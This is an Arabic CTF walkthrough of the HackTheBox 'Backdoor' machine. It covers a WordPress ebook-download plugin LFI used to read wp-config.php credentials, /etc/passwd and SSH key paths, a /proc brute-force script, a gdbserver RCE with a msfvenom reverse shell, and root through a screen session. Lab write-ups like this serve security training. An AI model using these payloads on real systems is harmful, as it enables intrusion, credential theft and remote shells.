> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md).

# شرح Backdoor HackTheBox

{% hint style="warning" %}
**المهارات:**

* ثغرة تضمين ملف محلي في ووردبريس (LFI)
* من LFI إلى RCE (استغلال /proc/PID/cmdline)
* ثغرة RCE في Gdbserver
* استغلال Screen (تصعيد الامتيازات) (مزامنة الجلسة)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/f0368c1ac8490f5e93700cd516f0d45cc8a111f3" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/7b1d1571440347e14022a694a308a3943cbb8743" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.125 -oG allPorts
```

<figure><img src="/files/022bb26ce2afe3212f626e0e9003f44c38070494" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة (22,80,1337)

<figure><img src="/files/e8f79e8164caadeea7efbb2b7fc96fd65f004d20" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80,1337 10.10.11.125 -oN targeted
```

<figure><img src="/files/62455b8c66d968f0efe8a9f283fdac1e41fb9748" alt=""><figcaption></figcaption></figure>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/f362616290b62d6ef1d14e4f18dca1fd65034525" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - ووردبريس

**تعرّف ووردبريس:**

باستخدام **WhatWeb** الأداة، تم التعرف على الخدمة على المنفذ 80 على أنها ووردبريس.

<div data-full-width="true"><figure><img src="/files/f62689a90f50f6a5253c744b4c3c4bab18d4230f" alt=""><figcaption></figcaption></figure></div>

**تعداد المستخدمين:**

تم اكتشاف مستخدم صالح (admin) عبر هجوم brute force:

<figure><img src="/files/2874178672d74dc64fc2afecd494a72b1a2431de" alt=""><figcaption></figcaption></figure>

```bash
wpscan --url http://backdoor.htb/ -e u  
```

<figure><img src="/files/c979f866ea0ee4364a3516b7abf9c413123ef227" alt=""><figcaption></figcaption></figure>

**تعداد الأدلة باستخدام Gobuster:**

البحث عن الأدلة:

```bash
gobuster dir -u http://backdoor.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/a308be0239fba823d01b3f80631bf4b4ebec9432" alt=""><figcaption></figcaption></figure>

## ثغرة Ebook-Download - LFI

بحث **wp-content/plugins** لاكتشاف الإضافات النشطة:

```
/wp-content/plugins
```

<figure><img src="/files/b10d63c8a385d43fb30ae5fb2e12f1a04d1f3c81" alt=""><figcaption></figcaption></figure>

الـ **ebook-download** تحتوي الإضافة على ثغرة LFI يتم استغلالها عبر:

```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

<figure><img src="/files/bca577cf05770294dea665b3f8e1ff7d308ae543" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9ff99a85fe289d086c5135fc0507252bb2e31d88" alt=""><figcaption></figcaption></figure>

يتيح لك هذا الاستعلام تنزيل ملفات عشوائية. من خلال استرجاع `wp-config.php` الملف

<figure><img src="/files/4bbf55e41772cb912e80880513c7584db799daa9" alt=""><figcaption></figcaption></figure>

نحصل على المعلومات التالية:

* `wordpressuser`
* `MQYBJSaD#DxG6qbm`

<figure><img src="/files/53dbc02d1f7e6f8aeb0eadd9faa19d0abedc17ab" alt=""><figcaption></figcaption></figure>

هذه المعلومات لا تسمح لك بالاتصال بواجهة `wp-admin` الواجهة،

<figure><img src="/files/5ad80278dd9eb055d498de8fede805dbcd1d3c70" alt=""><figcaption></figcaption></figure>

## استغلال LFI

**سرد الملفات الحساسة:**

عرض مستخدمي النظام عبر /etc/passwd:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/
```

<figure><img src="/files/e0f2ad44d6fcb97b7fc87611e4042a9eb7708221" alt=""><figcaption></figcaption></figure>

محاولات استعادة مفتاح SSH الخاص بالمستخدم `المستخدم`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"
```

من المحتمل أن هذه المحاولات تفشل بسبب الأذونات المقيدة على هذه الملفات.

<div data-full-width="true"><figure><img src="/files/a610e1b64099ac7557d6004d986e2dd2d51651f9" alt=""><figcaption></figcaption></figure></div>

### **LFI - Proc**

**استكشاف العمليات**

إنشاء نص Python لاستخراج معلومات العمليات عبر استكشاف `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3


from pwn import *
import requests, signal, time, pdb

def def_handler(sig, frame):

    print("/n/n[+]] Exiting.../n")
    sys.exit(1)

# Ctrl + c 

signal.signal(signal.SIGINT, def_handler)

# المتغيرات العامة 
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="


def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("هجوم القوة الغاشمة")
    p1.status("بدء هجوم القوة الغاشمة")
    sleep(2)

    for i in range(1, 1000):
        p1.status("المحاولة باستخدام المسار /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)

        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("المسار: /proc/%s/cmdline" % str(i))
            log.info("إجمالي الطول: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")

if __name__ == '__main__':
    makeRequest()
```

من خلال تحليل العمليات، تم التعرف على المنفذ 1337 على أنه **gdbserver** الخادم.

<div data-full-width="true"><figure><img src="/files/292b89084ea82d57e9a8fb667451379290ed5b96" alt=""><figcaption></figcaption></figure></div>

## المنفذ 1337 - gdbserver

يتوفر استغلال لـ gdbserver على **Searchsploit**:

<figure><img src="/files/e15b3590b5572e9bc6bdf0deed86153d33a0387b" alt=""><figcaption></figcaption></figure>

**استغلال gdbserver:**

```bash
searchsploit -m linux/remote/50539.py
```

1. أنشئ غلافًا عكسيًا:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 PrependFork=true -o rev.bin
```

2. ابدأ مستمعًا على المنفذ 443:

```bash
nc -nvlp 443
```

3. شغّل الاستغلال:

```bash
python3 exploit.py 10.10.11.125:1337 rev.bin
```

<figure><img src="/files/207c106d03b1bb17db70fb28c8b07b7deda201ed" alt=""><figcaption></figcaption></figure>

عالج الصدفة التفاعلية لمزيد من الثبات:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### العلم User.txt :)

<figure><img src="/files/0c2e4fd8567ad533f9b8295e60470a45f0fee121" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### SUID - Screen:

#### تحديد الثنائيات ذات SUID

سنبحث عن الملفات التي تم تفعيل بت SUID عليها في النظام باستخدام الأمر التالي:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/2f56f84c1c04d19f0d7d836629b40c2bfc915642" alt=""><figcaption></figcaption></figure>

#### تحليل عملية Screen

لفحص العمليات المتعلقة بـ Screen الجارية، نستخدم الأمر التالي:

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/37396af1437ebd44703bf139eec9d1e3e241bab2" alt=""><figcaption></figcaption></figure></div>

نجد العملية التالية قيد التشغيل:

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

تُظهر العملية أعلاه أن Screen مهيأ لإنشاء جلسة root إذا كان `/var/run/screen/S-root/` المجلد فارغ. مع هذا الإعداد يمكننا استغلال Screen للحصول على وصول root.

```bash
screen -x root/
```

### العلم root.txt :)

بعد الوصول إلى جلسة Screen بصفتك root، أصبحت لديك الآن صلاحيات المسؤول.

<figure><img src="/files/7997e17081d09277267c7e44dc0f19bde756ffcf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/64a60094261a708b1ca6018f4f08e3f2c2bcc641" alt="" width="527"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
